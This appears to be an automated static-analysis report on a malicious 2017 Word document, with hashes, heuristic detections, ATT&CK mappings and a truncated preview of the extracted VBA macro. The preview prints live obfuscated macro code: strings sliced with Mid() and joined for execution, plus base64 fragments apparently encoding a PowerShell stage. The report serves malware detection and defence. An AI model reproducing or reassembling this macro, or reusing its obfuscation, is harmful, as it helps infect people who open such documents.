Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e4e7818dc268289…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-10-19 05:44:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 23b95c8f54490ff4c8fb7957b1ea0dfe SHA-1: df590b8abdcb478a912662b092c07b782a66869d SHA-256: 9e4e7818dc26828900fee592d15893a44c2f9b4c1c197059fcc5566c2881eadb
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and the Shell() function, indicating an attempt to execute a secondary payload. ClamAV also flagged this file for macro obfuscation. The specific payload executed by Shell() is not directly visible in the provided script excerpt due to obfuscation and truncation, but the presence of the Shell() call is a critical indicator of malicious intent.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15590 bytes
SHA-256: b13a483280e1a3d46fa7d0cc533a5b45c4eb68ee197cb0d1221790607bd23ba6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 37 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function ZjHtRjIzp()
SoOqrK = "KS8PF6YvsJjacQqbRCFKAMnhiGXVGoUnHCvilTNKmMJvdiSDuEsUdaisqqjsDD8IIR"
wOZYphKiYZ = Mid(SoOqrK, 7, 56)
WWRjVQj = wOZYphKiYZ
crlSzGQB = "M201PdNhlWVKuZVEqBdNztXqAhoFHWUJPVvDIFJfTqmCotErZajXuoPMSVYBoIaPCLuYdRwlswtHGVCHdzfjnwObFjkmhHqKPXAcwfNHiwfwuIFwTQNV9DGL3EGS290YOP1H4F"
fAtVDwvKzZD = Mid(crlSzGQB, 6, 109)
votMjfp = fAtVDwvKzZD
jDsFRa = "C3Y20QQTHV57BNBCU9CaufwLhEhsPWPZdCldGwwBECiBGuoizNaaNiBNMPUTjLjMEHaKKzuVvqWrzwFmPDuCwpMzAYQrifS9Y264"
bzizFwuD = Mid(jDsFRa, 20, 76)
FTiBJNr = bzizFwuD
TbdiSp = "H8HQHF2OPPToEosSZUMqzovYoDrEAoUaCvAKhYCnukVGjXFHkQtiiOvjiBqpwmiDjcmIoilBRYvNSopQwkUkvlsoATcfhMoIBRWGlwSBirRJSiNtMarORwIzkwIUGFTEjnLARifBRSFDUiVSFiTHVaqCJZVmnwuZXMZiWMbdvpzztEdCcqOYmMjJwIrsNsOTYffHIqvsGpMfdrIEvTKwjWmLdQiNViQDbdaNYVtmvVRwzEjFznzthRjBsUisIhXYZJDzQufaZYBNFpLZjT2"
TGlXlz = Mid(TbdiSp, 12, 262)
mETLmI = TGlXlz
GLZff = "GXDQXXVSowtBiYOBqcjimFHCaVGtUwqcVVvDFRGNXMPiSdsCNazjfHWZSnPiOGIrHQjIcLwYWVHZqdkzdDjuwJzNwWlRCXzREXWBwjaCdZKKAwioDRFLZNszTSKFZiVwWpVTGiAtcdQZzmMBowOlSnrqiZiiZVczEMnKbPiUQMivzTwjGIRdQkfiwfohAWTHBRVmzBaYOtUGFvtLaBXRDwiTjEMwaATtsFP"
RnzYOMQk = Mid(GLZff, 9, 217)
PGIfz = RnzYOMQk
YtvCKhPjpX = "ZIEL962CfMCREvnpNUIoLdsdEAJXCJwLDVOLoSIiGpjulGjWJBkmqUNWrhJjIPhVNrOihbAvLahVtzszUnOAYMUiHrUHIYZqIOjuszphBpaQmsdtoMPVBjwBWjaqHtnmBrNfRwFWwjzjmEvPNaSvJEobRfXMWwa7GJQ9MYWXIU4FJQK8TGHR19IB0"
rKChUtbVJw = Mid(YtvCKhPjpX, 9, 151)
GBLfREirFO = rKChUtbVJw
VKVwFrPjH = "OCC99QJYrdtcFwTTuhKEkHirjVZJzjXCoRSjzdoTQjzhWuufiMSaTuuoLQVbtHbHGqnninVRsqoBIBVoaufkQwiuXdUhHMZIIrbjHGBrrBhdGtjKvhBzcqqJHsQASoJfRftQaohTtosOOFoiwKmaLajRARYPpAYDsBLazQjGzhFozbuBDmEHCjUqwbPIQSdtPpWMuNijafaiUsTZXWLDvQBIhVcYBbphDMYHFiHqIYjWIqVGHqltHazwoNiZlFizptaITMUoPUuXjiArzVRJM8POGXRZ8KP91VEBGAYQSE1XJY654XZ"
DwUNUGrwqj = Mid(VKVwFrPjH, 8, 268)
ciWqZbPW = DwUNUGrwqj
wqvCKq = "NDGC0XRCSlhNFHiDpwQQzATCWVCMXzBwrczwXrpUduKwPKSQzaaBzvXOfiPsjklSkjVdHjjzGvmCpWmMDmNzZzzwElTpcwlsJrLjooIPudvDIUZIvDpwWotljZYWPqVJKutzLGXPdzCvDvokMLuYHoVVwZwOPmAEHltNbbzofaSZlzhokoJEwwCVYXzlJIzrzwnSCbJkOFshVwjAsIibcvILjXoDcLiWabbnJPmJfZqqEVAcJOL9FXXYY09WELVUS3KGHDBRI87L"
pZUbUXv = Mid(wqvCKq, 9, 232)
OjiIIBWCM = pZUbUXv
niVBGBPk = "O4PXZKqwadOaTrDiEDthjPPNmvWwimjaOJNnZQoUItSzttscljQqiCwlcliVotSozoLJdPIoOZYmwSUtCtKwVpvMKbLohSfPbizEhjwVXccFdLoJRpTujTSHtzwBEUGwtJLSSPLSuoasNqjwnBXszkjHLsLilwQDVfMTAWqBdAAutZuCPzODzOzIdEGaDdhzYXXhiQwQLVOwklOlzJFK7A9P00U3RPFW77X1THPVLT"
HCiPrBbPi = Mid(niVBGBPk, 6, 205)
jDuptBPwfK = HCiPrBbPi
jtKpX = "XsTWwzTiTATEfWHJQQKhDjQhPPvbJlhDqPYdYazGSkjujrJprrIAjwblclHhDsViTPOPzdlqQEOSwWwXFFjSdjWtomBmSSCaPBaTdurNFRjciIpFnjcwIDEmtUaKbzXwBoDvviuLOWMLwtLjzwwjqERMwoaITjlGulauFtKIoQjmqspzJuMfAnIzWrwHEmrhkFQLSRbEmpuZUfVDwazZTGGHddXOvCECZCCkbijrTItKsidrVuIimSNizJhptNJjlszSclcUtHFLMvOuAjsAuaPHoYkSwrzGzJZAjLOkSnk27J9CNVORL6XSJ7BOBSKZKQS9TLUO6V6"
zGZaVWZIZK = Mid(jtKpX, 2, 298)
mIIMQKjJ = zGZaVWZIZK
ldfYLFNsR = "2PADPE9QoaTbonvLZR0RTN2XT2TLVG9CHCKKC91D"
qPpRv = Mid(ldfYLFNsR, 8, 9)
djJcmSss = qPpRv
UuqiBO = "HBR6IBCFIzzGiUTcHTJStzsXGaiVGwWdOQwMfEinwuhPaWPomihzSwvdbEiMMpzJcWsRVGwCpVVzPcwjKujXQZKPVVlbWRbHuYmDdwSfmfIzdvNwHwCSGbsDMdvAVUjXuOErqtFLbEklQNlZHnTXOIASfirACSJRzkCPrWIOsqrBrHnwrVshBIIlNlLHBFJIuTljKWilfFiXRzbUQR4"
PojVNRjZB = Mid(UuqiBO, 8, 200)
TlmVchWBEPq = PojVNRjZB
djJcmSss TlmVchWBEPq + WWRjVQj + mETLmI + votMjfp + ciWqZbPW + jDuptBPwfK + OjiIIBWCM + PGIfz + FTiBJNr + mIIMQKjJ + GBLfREirFO
End Function
Function AksatnGwi()
OGSPkttmXDM = "HBGB2BUFKJ2MPY750ML3LS6G3NBX27SXFTXNNwA3ACAALAAgADEAMAAxACwAMQAxADUAIAAsADEAMQA1ACAALAAgADkANwAsACAAMQAwADMALAAxADAAMQAsADUAOQAsACAAMQAyADUAIAAsACAIG"
JQzWtLQLNFq = Mid(OGSPkttmXDM, 37, 111)
LDlJWdzt = JQzWtLQLNFq
zizGfs = "Q6TTAMQAyADUAKQAgAHwAIAAlACAAewAoAFsAaQBuAHQAXQAgACQAXwAgAC0AQQBTAFsAYwBIAGEAUgBdACkAfQApAHwALgAgACgAIAAkAGUAbgBWADoAcABVAEIATABJAEMAWwAxADMAXQA
... (truncated)

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